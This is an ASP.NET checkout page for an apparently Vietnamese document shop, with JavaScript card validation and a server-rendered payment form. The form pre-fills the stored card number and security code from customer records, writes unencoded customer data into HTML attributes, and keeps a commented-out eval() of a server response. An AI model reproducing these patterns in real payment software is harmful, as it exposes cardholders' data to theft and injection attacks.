﻿<%@ Page Title="" Language="C#" MasterPageFile="~/Masters/PageOneColumn.master" AutoEventWireup="true" CodeFile="Checkout.aspx.cs" Inherits="Checkout" %>
<%@ Import Namespace="System.Data" %>

<asp:Content ID="Content1" ContentPlaceHolderID="title" Runat="Server">
</asp:Content>

<asp:Content ID="Content2" ContentPlaceHolderID="head" Runat="Server">
    <script src="Scripts/jquery-1.4.4.min.js" type="text/javascript"></script>
    <script language="javascript" type="text/javascript">
        function getXHR() {
            if (window.XMLHttpRequest) {
                // Chrome, Firefox, IE7+, Opera, Safari
                return new XMLHttpRequest();
            }
            // IE6
            try {
                // The latest stable version. It has the best security, performance, 
                // reliability, and W3C conformance. Ships with Vista, and available 
                // with other OS's via downloads and updates. 
                return new ActiveXObject('MSXML2.XMLHTTP.6.0');
            } catch (e) {
                try {
                    // The fallback.
                    return new ActiveXObject('MSXML2.XMLHTTP.3.0');
                } catch (e) {
                    alert('This browser is not AJAX enabled.');
                    return null;
                }
            }
        }

        function easyCheckoutSubmit(enable) {
//            var XHR = getXHR();

//            var postData = 'async=true&echeckout=' + (enable ? 'true' : 'false');
//            XHR.open('POST', 'echeckout-submit.asp', true);
//            XHR.setRequestHeader('User-Agent', 'XMLHTTP/1.0');
//            if (postData)
//                XHR.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
//            XHR.onreadystatechange = function () {
//                if (XHR.readyState != 4) return;
//                if (XHR.status == 200) {
//                    try {
//                        var result = eval(XHR.responseText);
//                        if (result) {
//                            if (result.status) {
//                                $$.RemoveClassName($$('#echeckoutEnabled'), 'hidden');
//                                $$.AddClassName($$('#echeckoutDisabled'), 'hidden');
//                            }
//                            else {
//                                $$.RemoveClassName($$('#echeckoutDisabled'), 'hidden');
//                                $$.AddClassName($$('#echeckoutEnabled'), 'hidden');
//                            }
//                        }
//                    }
//                    catch (e) { }
//                }
//                else {
//                    window.location.reload(true);
//                }
//            };
//            if (XHR.readyState == 4) return;
            //            XHR.send(postData);

            if (enable) {
                document.form_purchase.txtRemembercard.value = 'true';
                $$.RemoveClassName($$('#echeckoutEnabled'), 'hidden');
                $$.AddClassName($$('#echeckoutDisabled'), 'hidden');
            }
            else {
                document.form_purchase.txtRemembercard.value = 'false';
                $$.RemoveClassName($$('#echeckoutDisabled'), 'hidden');
                $$.AddClassName($$('#echeckoutEnabled'), 'hidden');
            }

        }

        function SubmitCoupon() {
            //Coupon
            if (document.form_coupon.txtCouponCode.value == "") {
                //alert("Error: You didn't enter your coupon code.");
                alert("Lỗi: Bạn chưa nhập mã phiếu thưởng của bạn.");
                document.form_coupon.txtCouponCode.focus();
                return false;
            }

            return true;
        }

        function isValidCCSC(code, cardType) {
            cardType = cardType.toLowerCase();
            switch (cardType) {
                case 'amex':
                    if (code.match(/^\d{4}$/))
                        return true;
                    break;
                default:
                    if (code.match(/^\d{3}$/))
                        return true;
                    break;
            }
            return false;
        }

        function getWrongCCSCWarning(cardType) {
            cardType = cardType.toLowerCase();
            switch (cardType) {
                case 'amex':
                    //return 'Please enter a valid four-digit card security code.';
                    return 'Xin vui lòng nhập bốn chữ số an ninh hợp lệ của thẻ.';
                default:
                    //return 'Please enter a valid three-digit card security code.';
                    return 'Xin vui lòng nhập ba chữ số an ninh hợp lệ của thẻ.';
            }
        }


        function IsInteger(sText) {
            var ValidChars = "0123456789";
            var IsNumber = true;
            var Char;
            
            for (i = 0; i < sText.length && IsNumber == true; i++) {
                Char = sText.charAt(i);
                if (ValidChars.indexOf(Char) == -1) {
                    IsNumber = false;
                }
            }
            return IsNumber;
        }

        function isValidZip(zipCode) {

            if (zipCode.length == 5) {
                return IsInteger(zipCode);
            }
            else {
                return false;
            }
        }

        function isValidCreditCard(cardtype, ccnumber) {
            if (cardtype == "Visa") {
                // Prefix: 4, Lenght: 16
                var regEx = /^4\d{3}-?\d{4}-?\d{4}-?\d{4}$/;
            }
            else if (cardtype == "Mastercard") {
                // Prefix: 51-55, Length: 16
                var regEx = /^5[1-5]\d{2}-?\d{4}-?\d{4}-?\d{4}$/;
            }
            else if (cardtype == "Discover") {
                // Prefix: 6011, Length: 16
                var regEx = /^6011-?\d{4}-?\d{4}-?\d{4}$/;
            }
            else if (cardtype == "Amex") {
                // Prefix: 34 or 37, Length: 15
                var regEx = /^3[4,7]\d{13}$/;
            }
            else if (cardtype == "Diners") {
                // Prefix: 30, 36, or 38, Length: 14
                var regEx = /^3[0,6,8]\d{12}$/;
            }

            if (!regEx.test(ccnumber)) {
                //document.getElementById("divCCError").innerHTML = "Please enter a valid credit card number.";
                document.getElementById("divCCError").innerHTML = "Xin vui lòng nhập một số thẻ tín dụng hợp lệ.";
                document.form_purchase.txtCardNumber.focus();
                disableSubmit();
                return false;
            }

            // Remove all dashes.
            ccnumber = ccnumber.split("-").join("");

            // Add even digits in even length strings or odd digits in odd length strings.
            var checksum = 0;

            for (var cnt = (2 - (ccnumber.length % 2)); cnt <= ccnumber.length; cnt += 2) {
                checksum += parseInt(ccnumber.charAt(cnt - 1));
            }

            for (var cnt = (ccnumber.length % 2) + 1; cnt <= ccnumber.length; cnt += 2) {
                var digit = parseInt(ccnumber.charAt(cnt - 1)) * 2;
                if (digit < 10) {
                    checksum += digit;
                }
                else {
                    checksum += (digit - 9);
                }
            }

            if ((checksum % 10) == 0) {
                return true;
                document.getElementById("divCCError").innerHTML = "";
            }
            else {
                //document.getElementById("divCCError").innerHTML = "Please enter a valid credit card number.";
                document.getElementById("divCCError").innerHTML = "Xin vui lòng nhập một mã số thẻ tín dụng hợp lệ.";
                document.form_purchase.txtCardNumber.focus();
                disableSubmit();
                return false;
            }
        }

        function showPurchFormErrors(show) {
//            // This causes problems in IE. Not using it anymore!
//            if (show) {
//                //document.getElementById("PurchFormDivErr").style.display = "block";
//                //document.getElementById("PurchFormDivErr").innerHTML = "Please fill in the following fields:";
//                //document.getElementById("PurchFormSpanErr").style.color = "red";
//                //document.getElementById("PurchFormSpanErr").innerHTML = "Please note that all fields are required."
//            }
//            else {
//                //document.getElementById("PurchFormDivErr").style.display = "none";
//                //document.getElementById("PurchFormDivErr").innerHTML = "";
//                //document.getElementById("PurchFormSpanErr").style.color = "black";
//                //document.getElementById("PurchFormSpanErr").innerHTML = "Please note that all fields are required."
//            }
        }

        function ValidateForm(totalPr) {

            ShowRquiredFields();
            var selectedCountry = document.form_purchase.dbcboCountries.options[document.form_purchase.dbcboCountries.selectedIndex].value;
//            //First Name
//            if (document.form_purchase.txtFirstName.value == "") {
//                //document.getElementById("divErrFirstName").innerHTML = "Please enter your first name as it appears on your credit card.";
//                document.getElementById("divErrFirstName").innerHTML = "Vui lòng nhập tên chủ thẻ tín dụng.";
//                document.form_purchase.txtFirstName.focus();
//                showPurchFormErrors(true);
//                return false;
//            }
            //Last Name
            if (document.form_purchase.txtLastName.value == "") {
                //document.getElementById("divErrLastName").innerHTML = "Please enter your last name as it appears on your credit card.";
                document.getElementById("divErrLastName").innerHTML = "Vui lòng nhập tên người mua hàng.";
                document.form_purchase.txtLastName.focus();
                showPurchFormErrors(true);
                return false;
            }
            //Country
            if (document.form_purchase.dbcboCountries.options[document.form_purchase.dbcboCountries.selectedIndex].value == 0) {
                //document.getElementById("divErrCountries").innerHTML = "Please select your country.";
                document.getElementById("divErrCountries").innerHTML = "Vui lòng chọn thành phố.";
                document.form_purchase.dbcboCountries.focus();
                showPurchFormErrors(true);
                return false;
            }
            //Address
            if (document.form_purchase.txtAddress.value == "") {
                //document.getElementById("divErrAddress").innerHTML = "Please enter your credit card billing address.";
                document.getElementById("divErrAddress").innerHTML = "Vui lòng nhập địa chỉ nhận hàng.";
                document.form_purchase.txtAddress.focus();
                showPurchFormErrors(true);
                return false;
            }
//            //Postcode
//            if (document.form_purchase.txtPostCode.value == "") {
//                document.getElementById("divErrPostCode").innerHTML = "Please enter your post code.";
//                document.form_purchase.txtPostCode.focus();
//                showPurchFormErrors(true);
//                return false;
//            }
            //State
            if (document.form_purchase.txtState.value == "") {
                document.getElementById("divErrState").innerHTML = "Please enter your state/province.";
                document.form_purchase.txtState.focus();
                showPurchFormErrors(true);
                return false;
            }
            //City
            if (document.form_purchase.txtCity.value == "") {
                document.getElementById("divErrCity").innerHTML = "Vui lòng nhập số điện thoại.";
                document.form_purchase.txtCity.focus();
                showPurchFormErrors(true);
                return false;
            }
//            //Phone Number
//            if (document.form_purchase.txtPhone.value == "") {
//                document.getElementById("divErrPhone").innerHTML = "Please enter your phone number.";
//                document.form_purchase.txtPhone.focus();
//                showPurchFormErrors(true);
//                return false;
//            }
            //Credit Card Number
            if (checkCreditCard() == false) {
                return false;
            }
            //Card type -- we're detecting automatically from CC number
            if (document.form_purchase.cboCardType.value == 0) {
                document.getElementById("divCCError").innerHTML = "Please enter a valid credit card number.";
                document.form_purchase.cboCardType.focus();
                return false;
            }
//            //Credit Card Security Code
//            if (document.form_purchase.txtSecurityNumber.value == "") {
//                document.getElementById("divErrSecurityNumber").innerHTML = "Please enter your credit card security code.";
//                document.form_purchase.txtSecurityNumber.focus();
//                showPurchFormErrors(true);
//                return false;
//            }
            //
//            if (!isValidCCSC(document.form_purchase.txtSecurityNumber.value, document.form_purchase.cboCardType.value)) {
//                document.getElementById("divErrSecurityNumber").innerHTML = getWrongCCSCWarning(document.form_purchase.cboCardType.value);
//                document.form_purchase.txtSecurityNumber.focus();
//                showPurchFormErrors(true);
//                return false;
//            }
//            //Expiration Month
//            if (document.form_purchase.cboMonth.options[document.form_purchase.cboMonth.selectedIndex].value == 0) {
//                document.getElementById("divErrExpiry").innerHTML = "Please select the expiration month of your credit card.";
//                document.form_purchase.cboMonth.focus();
//                showPurchFormErrors(true);
//                return false;
//            }
//            //Expiration Month
//            if (document.form_purchase.cboYear.options[document.form_purchase.cboYear.selectedIndex].value == 0) {
//                document.getElementById("divErrExpiry").innerHTML = "Please select the expiration year of your credit card.";
//                document.form_purchase.cboYear.focus();
//                showPurchFormErrors(true);
//                return false;
//            }
//            //Is the card still valid?
//            if ((document.form_purchase.cboYear.options[document.form_purchase.cboYear.selectedIndex].value == 2012) && (document.form_purchase.cboMonth.options[document.form_purchase.cboMonth.selectedIndex].value < 2)) {
//                document.getElementById("divCCError").innerHTML = "Your credit card has expired.";
//                document.form_purchase.txtCardNumber.focus();
//                return false;
//            }
            if (totalPr == "0") {
                alert("You can not buy these items!");
                return false;
            }


            //Is coupon code present (but not submitted)?
            if (document.form_coupon.txtCouponCode.value != "") {
                document.form_purchase.txtPromoCode.value = document.form_coupon.txtCouponCode.value;
            }


            //document.form_purchase.action = "/purchase/process-new.asp";
            return true;
        }

        function checkCreditCard() {
            if (document.form_purchase.txtCardNumber.value.length < 14) {
                document.getElementById("divCCError").innerHTML = "Vui lòng nhập mã thẻ thanh toán hợp lệ.";
                document.form_purchase.txtCardNumber.focus();
                disableSubmit();
                return false;
            }
            else {
                var ccnum = document.form_purchase.txtCardNumber.value;

                ccnum = ccnum.split("-").join("");
                ccnum = ccnum.split(" ").join("");
                var cclen = ccnum.length;

                if (cclen < 14 || cclen > 16) {
                    document.getElementById("divCCError").innerHTML = "Vui lòng nhập mã thẻ thanh toán hợp lệ.";
                    document.form_purchase.txtCardNumber.focus();
                    disableSubmit();
                    return false;
                }
                else {

                    // Diners
                    if (cclen == 14) {
                        if (ccnum.charAt(0) == 3) {
                            document.form_purchase.cboCardType.value = "Diners";
                            if (isValidCreditCard("Diners", ccnum) == false) {
                                disableSubmit();
                                return false;
                            }
                        }
                        else {
                            document.getElementById("divCCError").innerHTML = "Vui lòng nhập mã thẻ thanh toán hợp lệ.";
                            document.form_purchase.txtCardNumber.focus();
                            disableSubmit();
                            return false;
                        }
                    }

                    //Amex
                    if (cclen == 15) {
                        if (ccnum.charAt(0) == 3) {
                            document.form_purchase.cboCardType.value = "Amex";
                            if (isValidCreditCard("Amex", ccnum) == false) {
                                disableSubmit();
                                return false;
                            }
                        }
                        else {
                            document.getElementById("divCCError").innerHTML = "Vui lòng nhập mã thẻ thanh toán hợp lệ.";
                            document.form_purchase.txtCardNumber.focus();
                            disableSubmit();
                            return false;
                        }
                    }

                    //Visa or Mastercard
                    if (cclen == 16) {
                        if (ccnum.charAt(0) == 4) {
                            document.form_purchase.cboCardType.value = "Visa";
                            if (isValidCreditCard("Visa", ccnum) == false) { return false; }
                        }
                        else if (ccnum.charAt(0) == 5) {
                            document.form_purchase.cboCardType.value = "Mastercard";
                            if (isValidCreditCard("Mastercard", ccnum) == false) { return false; }
                        }
                        else {
                            document.getElementById("divCCError").innerHTML = "Vui lòng nhập mã thẻ thanh toán hợp lệ.";
                            document.form_purchase.txtCardNumber.focus();
                            disableSubmit();
                            return false;
                        }

                    }
                }
            }
            document.getElementById("divCCError").innerHTML = "";
        }

        function CheckCountry() {
            var selectedCountry = document.form_purchase.dbcboCountries.options[document.form_purchase.dbcboCountries.selectedIndex].value;
            if (document.form_purchase.dbcboCountries.options[document.form_purchase.dbcboCountries.selectedIndex].value == 0) {
                document.getElementById("divErrCountries").innerHTML = "Please select your country.";
                document.form_purchase.dbcboCountries.focus();
                disableSubmit();
            }

            if (selectedCountry != 47) {
                document.form_purchase.ipt.value = "1";
                //document.form_purchase.action = "/purchase/details.asp?lngCountryID=" + document.form_purchase.dbcboCountries.options[document.form_purchase.dbcboCountries.selectedIndex].value + "#CountryBookmark";
                //document.form_purchase.submit();
            }
            if (document.getElementById("showRemovedItems")) {
                document.getElementById("showRemovedItems").style.display = "block";
            }
            //document.form_purchase.action = "Checkout.aspx";
        }

        function CheckZip() {
            var selectedCountry = 47;

            if (selectedCountry == 225 && document.form_purchase.txtPostCode.value != "") {

                if (isValidZip(document.form_purchase.txtPostCode.value) == false) {
                    document.getElementById("divErrPostCode").innerHTML = "Please enter your 5-digit Zip Code.";
                    document.form_purchase.txtPostCode.focus();
                    disableSubmit();
                }
                else {
                    var numValue = document.form_purchase.txtPostCode.value * 1;
                    if ((numValue < 501) || (numValue > 99950)) {
                        document.getElementById("divErrPostCode").innerHTML = "Please enter your 5-digit Zip Code.";
                        document.form_purchase.txtPostCode.focus();
                        disableSubmit();
                    }
                    else {
                        document.form_purchase.ipt.value = "1";
                        //document.form_purchase.action = "/purchase/details.asp?lngCountryID=" + selectedCountry + "#PostcodeBookmark";
                        //document.form_purchase.submit();
                    }
                }
            }
            //document.form_purchase.action = "/purchase/process-new.asp";
        }

        function disableSubmit() {
            //document.getElementById("submitbutton").style.background = "#999999";
            //document.form_purchase.submitbutton.disabled = true;
        }

        function clearError(id) {
            document.getElementById(id).innerHTML = "";
            CheckSubmitButton();
            showPurchFormErrors(false);
            ClearRquiredFields();
        }


        function changeDiv(wdiv1, wdiv2) {
            thediv1 = document.getElementById(wdiv1);
            thediv2 = document.getElementById(wdiv2);
            thediv1.className = 'selected';
            thediv2.className = 'unselected';
        }

        function showStuff(id1, id2, height, bg, aid) {
            document.getElementById(id1).style.display = 'block';
            document.getElementById(id2).style.display = 'none';
            document.getElementById(id1).style.height = height + 'px';
            document.getElementById(id1).style.background = bg;
            document.getElementById(id1).style.padding = '5px';
            if (aid == "a")
                changeDiv('aali', 'auli');
            else
                changeDiv('auli', 'aali');
            //document.getElementById(aid1).style.border-bottom-width = '0';
            //document.getElementById(aid2).style.border-bottom-width = '1';

            if (id1 == "unavailItems")
                document.getElementById("unavailItems2").style.display = 'block';
            else
                document.getElementById("unavailItems2").style.display = 'none';
        }

        function changeCoupon() {
            document.getElementById("couponForm").style.display = 'block';
        }

        function CheckSubmitButton() {
            if (CheckForm() == false) {
                //document.getElementById("submitbutton").style.background = "#999999";
                //document.form_purchase.submitbutton.disabled = true;
            }
            else {
                //document.getElementById("submitbutton").style.background = "#8FC726";
                //document.form_purchase.submitbutton.disabled = false;
            }
        }

        function CheckForm() {
            var selectedCountry = 47;
            if (document.form_purchase.txtFirstName.value == "") {
                return false;
            }
            if (document.form_purchase.txtLastName.value == "") {
                return false;
            }
            if (document.form_purchase.txtAddress.value == "") {
                return false;
            }
            if (document.form_purchase.txtCity.value == "") {
                return false;
            }
            if (selectedCountry == 225 && document.form_purchase.txtState.value == "") {
                return false;
            }
            if (document.form_purchase.txtPostCode.value == "") {
                return false;
            }
            if (document.form_purchase.dbcboCountries.options[document.form_purchase.dbcboCountries.selectedIndex].value == 0) {
                return false;
            }
            if (document.form_purchase.txtPhone.value == "") {
                return false;
            }
            if (document.form_purchase.txtCardNumber.value == "") {
                return false;
            }
            if (document.form_purchase.txtSecurityNumber.value == "") {
                return false;
            }
            if (document.form_purchase.cboMonth.options[document.form_purchase.cboMonth.selectedIndex].value == 0) {
                return false;
            }
            if (document.form_purchase.cboYear.options[document.form_purchase.cboYear.selectedIndex].value == 0) {
                return false;
            }
            return true;
        }

        function ShowRquiredFields() {
            var selectedCountry = 47;
//            if (document.form_purchase.txtFirstName.value == "") {
//                document.getElementById("spanReqFN").innerHTML = "* ";
//            }
            if (document.form_purchase.txtLastName.value == "") {
                document.getElementById("spanReqLN").innerHTML = "* ";
            }
            if (document.form_purchase.txtAddress.value == "") {
                document.getElementById("spanReqAD").innerHTML = "* ";
            }
//            if (document.form_purchase.txtCity.value == "") {
//                document.getElementById("spanReqCI").innerHTML = "* ";
//            }
            if (selectedCountry == 225 && document.form_purchase.txtState.value == "") {
                if (document.getElementById("spanReqST")) {
                    document.getElementById("spanReqST").innerHTML = "* ";
                }
            }
//            if (document.form_purchase.txtPostCode.value == "") {
//                document.getElementById("spanReqPC").innerHTML = "* ";
//            }
            if (document.form_purchase.dbcboCountries.options[document.form_purchase.dbcboCountries.selectedIndex].value == 0) {
                document.getElementById("spanReqCO").innerHTML = "* ";
            }
//            if (document.form_purchase.txtPhone.value == "") {
//                document.getElementById("spanReqPN").innerHTML = "* ";
//            }
            if (document.form_purchase.txtCardNumber.value == "") {
                document.getElementById("spanReqCC").innerHTML = "* ";
            }
//            if (document.form_purchase.txtSecurityNumber.value == "") {
//                document.getElementById("spanReqSC").innerHTML = "* ";
//            }
//            if (document.form_purchase.cboMonth.options[document.form_purchase.cboMonth.selectedIndex].value == 0) {
//                document.getElementById("spanReqED").innerHTML = "* ";
//            }
//            if (document.form_purchase.cboYear.options[document.form_purchase.cboYear.selectedIndex].value == 0) {
//                document.getElementById("spanReqED").innerHTML = "* ";
//            }
        }

        function ClearRquiredFields() {
            var selectedCountry = 47;
            if (document.getElementById("spanReqFN"))
                document.getElementById("spanReqFN").innerHTML = "";
            if (document.getElementById("spanReqLN"))
                document.getElementById("spanReqLN").innerHTML = "";
            if (document.getElementById("spanReqAD"))
                document.getElementById("spanReqAD").innerHTML = "";
            if (document.getElementById("spanReqCI"))
                document.getElementById("spanReqCI").innerHTML = "";
            if (selectedCountry == 225) {
                if (document.getElementById("spanReqST")) {
                    document.getElementById("spanReqST").innerHTML = "";
                }
            }
            if (document.getElementById("spanReqPC"))
                document.getElementById("spanReqPC").innerHTML = "";
            if (document.getElementById("spanReqCO"))
                document.getElementById("spanReqCO").innerHTML = "";
            if (document.getElementById("spanReqPN"))
                document.getElementById("spanReqPN").innerHTML = "";
            if (document.getElementById("spanReqCC"))
                document.getElementById("spanReqCC").innerHTML = "";
            if (document.getElementById("spanReqSC"))
                document.getElementById("spanReqSC").innerHTML = "";
            if (document.getElementById("spanReqED"))
                document.getElementById("spanReqED").innerHTML = "";
        }

        function showCouponBoxDiv(box, button) {
            if (document.getElementById(box))
                document.getElementById(box).style.display = 'block';
            if (document.getElementById(button))
                document.getElementById(button).style.display = 'none';
        }
    </script>
</asp:Content>

<asp:Content ID="Content3" ContentPlaceHolderID="ContentPlaceHolderContentClearFix" Runat="Server">

    <!-- Begin: content clearfix -->
    <div class="content clearfix">    

        <div class="b-checkout">
            <div class="b-title">
                <div class="wrap">
                    <div class="floatRight">
                        <div class="elem ico-set elem1">
                            2</div>
                        <div class="elem ico-set strBlue">
                        </div>
                        <div class="elem ico-set elem1">
                            1</div>
                        <div class="elem">
                            Bước:</div>
                    </div>
                    <div class="h3">
                        Thanh toán</div>
                </div>
            </div>

<%     
    double total_price = 0;
    int nums_product = 0;
    
    List<TaiLieu> lst = new List<TaiLieu>();
    if (Session["Cart"] != null)
    {
        lst = (List<TaiLieu>)Session["Cart"];
    }

    for (int i = 0; i < lst.Count; i++)
    {
        double price = double.Parse((lst[i].ProductPrice * lst[i].ProductQuantity).ToString());
        total_price += price;
        nums_product += (int)lst[i].ProductQuantity;
    }
%> 

            <!--DEBUG:-->
            <div class="b-gradientBlock padB10">
                <h4>Số lượng:
                    <%= nums_product %> sản phẩm.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                    Tổng tiền:
                    <%= total_price %> USD
                </h4>
        
                <div class="wrapYes" id="enterCouponMsg" style="display:none;">
                    <div class="floatLeft">Gift certificate or Coupon code?</div>
                    <!--<label class="inp-b"><input type="text"></label>-->
                    <div class="button-style">
                        <a href="#" onclick="$$.AddClassName($$('#enterCouponMsg'),'hidden'); $$.RemoveClassName($$('#enterCouponContent'),'hidden'); return false;">
                            <i></i>Yes
                        </a>
                    </div>
                </div>

                <div class="wrapYes hidden" id="enterCouponContent">
                    <div class="floatLeft">Gift certificate or Coupon code?</div>
                    <label class="inp-b floatLeft">
                        <form name="form_coupon" onsubmit="return SubmitCoupon();" action="" method="post">
                            <input tabindex="15" name="txtCouponCode" type="text" value="" onclick="clearError('couponCodeError')"/>
				            <input type="hidden" name="lngCountryID" value="47"/>
					        <input type="hidden" name="txtPostCode" value=""/>
					        <input type="hidden" name="ipt" value=""/>
					        <input type="hidden" name="dccf" value=""/>
                        </form>
                    </label>

                    <div class="button-style">
                        <a href="#" onclick="document.form_coupon.submit(); return false;">
                            <i></i>Update Price
                        </a>
                    </div>
                </div>        

                <input type="hidden" id="couponCodeError"/>        
            </div>

    		<!--<div style="text-align:left; padding-top:5px; color:#003371"></div><br />-->				
            <div class="b-gradientBlock b-PaymentDetails">

                <asp:Label ID="Label1" runat="server" Visible="False"></asp:Label>

				<h3>Thông tin thanh toán</h3>
				<p class="font14">Vui lòng nhập đầy thông tin người nhận và thẻ thanh toán. 
                Phải nhập đầy đủ các ô bên dưới.</p>

                <form name="form_purchase" onsubmit="return ValidateForm(<%= total_price %>)" action="" method="post">
<% 
    TaiKhoan tk = (TaiKhoan)Session["TaiKhoan"];
        
%>
                    <input type="hidden" name="ipt" value=""/>
                    <input type="hidden" name="dccf" value=""/>
					<input type="hidden" name="totalPrice" value="<%= total_price %>"/>
                    <input type="hidden" name="checkOut" value="true" />
                    <input type="submit" name="submitButton" class="hidden"/>
                            
                    <input type="hidden" name="txtPromoCode" value=""/>
                            
                <div class="wrapForms">
                    <div class="cols">
                    
                        <div class="lbl">
                            <span id="spanReqLN" class="error-msg bold"></span>
                            Họ tên 
                            <span class="font11"> </span>
                        </div>
                        <label class="inp-b" style="background:none; background-color: white;">
                            <input tabindex="2" name="txtLastName" value="<%= tk.KhachHang.TenKhachHang %>" type="text"
                               id="txtLastName" onclick="clearError('divErrLastName')" onchange="CheckSubmitButton()"/>
                        </label>
                        <div id="divErrLastName" class="error-msg bold"></div>
                        <a name="CountryBookmark"></a>


                        <div class="lbl">
                            <span id="spanReqCO" class="error-msg bold"></span>Tỉnh/Thành phố
                        </div>
                        <select tabindex="3" name="dbcboCountries" id="dbcboCountries" class="sel-b"
                         onchange="CheckCountry()" onclick="clearError('divErrCountries')" style="background:none; background-color: white;">
                            <option value="0" selected="selected">---- Chọn tỉnh/thành phố ----</option>
<%    
    string matt = tk.KhachHang.TinhThanh;
    
    DataTable dt = (DataTable)Session["CitiesList"];

    for (int i = 0; i < dt.Rows.Count; i++)
    {
        if (matt.Trim().Equals(dt.Rows[i][0].ToString().Trim()))
        {
%>
                            <option value="<%= dt.Rows[i][0] %>" selected="selected"><%= dt.Rows[i][1]%></option>
<% 
        }
        else
        {
%>
                            <option value="<%= dt.Rows[i][0] %>"><%= dt.Rows[i][1]%></option>
<% 
        }
    }
%>                           
                        </select>
                        <div id="divErrCountries" class="error-msg bold"></div>

                        <div class="lbl">
                            <span id="spanReqAD" class="error-msg bold"></span>Địa chỉ giao hàng
                        </div>
                        <label class="inp-b" style="background:none; background-color: white;">
                            <input tabindex="4" name="txtAddress" type="text" value="<%= tk.KhachHang.DiaChi %>" 
                            id="txtAddress" onclick="clearError('divErrAddress')" onchange="CheckSubmitButton()"/>
                        </label>
                        <div id="divErrAddress" class="error-msg bold"></div>

                        <div class="lbl">
                            Địa chỉ giao hàng<span class="font11"> (địa chỉ thứ hai)</span>
                        </div>
                        <label class="inp-b" style="background:none; background-color: white;">
                            <input tabindex="5" name="txtAddress2" type="text" id="txtAddress2" 
                            value="<%= tk.KhachHang.DiaChiThuHai %>"/>
                        </label>


                        <div class="lbl">
                            Hình thức giao hàng
                        </div>
                        <select tabindex="5" name="dbcboTranportTypes" id="dbcboTranportTypes" class="sel-b" style="background:none; background-color: white;">
                            <option value="0" selected="selected">Bình thường</option>
                            <option value="1">Cấp tốc bằng máy bay&nbsp&nbsp&nbsp</option>
                        </select>


                        <div class="hid-o">
                            <div style="margin-right: 24px;" class="floatLeft">
                                <a name="PostcodeBookmark"></a>
                                <div class="lbl">
                                    <%--<span id="spanReqPC" class="error-msg bold"></span>--%>CMND
                                </div>
                                <label class="inp-b" style="background:none; background-color: white; width: 90px;">
                                    <input tabindex="6" name="txtPostCode" type="text" id="txtPostCode" 
                                    value="<%= tk.KhachHang.CMND %>" style="width: 90px" 
                                    onclick="clearError('divErrPostCode')" onchange="CheckZip()"/>
                                </label>
                            </div>
                                    
                            <input name="txtState" type="hidden" id="txtState" value="state"/>                                    
                        </div>
                        <div id="divErrPostCode" class="error-msg bold"></div>
                        <div id="divErrState" class="error-msg bold"></div>


                        <div class="lbl">
                            <span id="spanReqCI" class="error-msg bold"></span>Điện thoại di động
                        </div>
                        <label class="inp-b" style="background:none; background-color: white;">
                            <input tabindex="8" name="txtCity" type="text" id="txtCity" 
                            value="<%= tk.KhachHang.SoDienThoai %>" 
                            onclick="clearError('divErrCity')" onchange="CheckSubmitButton()"/>
                        </label>
                        <div id="divErrCity" class="error-msg bold"></div>


                        <div class="lbl">
                            <span id="spanReqPN" class="error-msg bold"></span>Điện thoại bàn
                        </div>
                        <label class="inp-b" style="background:none; background-color: white;">
                            <input tabindex="9" name="txtPhone" value="<%= tk.KhachHang.DienThoaiCoDinh %>" type="text" 
                            id="txtPhone" onclick="clearError('divErrPhone')" onchange="CheckSubmitButton()"/>
                        </label>
                        <div class="lbl">
                            <span class="font11">(Chúng tôi sẽ liên hệ với bạn khi có vấn đề 
                            <br />với phiếu mua hàng)</span>
                        </div>
                        <div id="divErrPhone" class="error-msg bold"></div>
                                                

                        <div style="width: 220px;" class="button-style btn-b">
                            <a tabindex="16" href="#" onclick="CheckSubmitButton(); if(ValidateForm(57.98)) document.form_purchase.submit(); return false;">
                                <i></i>Thanh toán
                            </a>
                        </div>
                    </div>


                    <div class="cols">
<% 
    TheThanhToan tt = new TheThanhToan();
    if (tk.KhachHang.TheThanhToan != null)
    {
        tt = tk.KhachHang.TheThanhToan;
    }

    DateTime ngayhh = DateTime.Now;

    if (tt.NgayHetHan != null)
    {
        ngayhh = (DateTime)tt.NgayHetHan;
    }

    int thang = ngayhh.Month;
    int nam = ngayhh.Year;
%>
                        <div class="wrapCreditCards ico-set">
                            <a href="#"></a><a href="#"></a><a href="#"></a><a href="#"></a>
                        </div>
                        <div class="lbl">
                            <span id="spanReqCC" class="error-msg bold"></span>Mã thẻ tín dụng
                        </div>
                        <label class="inp-b" style="background:none; background-color: white; width: 220px;">
                            <input type="hidden" name="cboCardType" id="cboCardType" value="0"/>

                            <input tabindex="10" name="txtCardNumber" type="text" id="txtCardNumber" 
                            value="<%= tt.MaTheThanhToan %>"
                            onchange="checkCreditCard()" onclick="clearError('divCCError')"/>
                        </label>
                        <div id="divCCError" class="error-msg bold"></div>


                        <div class="lbl">
                            <span id="spanReqSC" class="error-msg bold"></span>Mã bảo mật                                
                        </div>
                        <label class="inp-b" style="background:none; background-color: white; width: 220px;">
                            <input tabindex="11" name="txtSecurityNumber" type="text" id="txtSecurityNumber" 
                            value="<%= tt.MaBaoMatThe %>"
                            onclick="clearError('divErrSecurityNumber')" onchange="CheckSubmitButton()"/>
                        </label>
                        <div id="divErrSecurityNumber" class="error-msg bold"></div>

                        <div class="lbl">
                            <span id="spanReqED" class="error-msg bold"></span>Ngày hết hạn
                        </div>
                        <div class="hid-o">
                            <div style="margin-right: 5px;" class="floatLeft">
                                <select tabindex="12" name="cboMonth" id="cboMonth" class="sel-b" 
                                    style="background:none; background-color: white; width: 100px;"
                                    onclick="clearError('divErrExpiry')" onchange="CheckSubmitButton()">
                                    <option value="00">Tháng</option>

<%
    for (int t = 1; t <= 12; t++)
    {
        string sThang = "";
        if (t < 10)
        {
            sThang = "0";
        }
        
        sThang += t.ToString();
        
        if (t == thang)
        {
%>
<option value="<%= t %>" selected="selected"><%= sThang %></option>
<%
        }
        else
        {
%>
<option value="<%= t %>"><%= sThang %></option>
<%
        }
    }
%>
                                  
                                </select>
                            </div>
                            <div class="floatLeft">
                                <select tabindex="13" name="cboYear" id="cboYear" class="sel-b" 
                                    style="background:none; background-color: white; width: 100px;" 
                                    onclick="clearError('divErrExpiry')" onchange="CheckSubmitButton()">
                                    <option value="0000">Năm</option>
<% 
    for (int y = DateTime.Now.Year; y <= DateTime.Now.Year + 10; y++)
    {   
        if (y == nam)
        {
%>
<option value="<%= y %>" selected="selected"><%= y %></option>
<%
        }
        else
        {
%>
<option value="<%= y %>"><%= y %></option>
<%
        }
    }
%>
                                </select>
                            </div>
                        </div>
                        <div id="divErrExpiry" class="error-msg bold"></div>

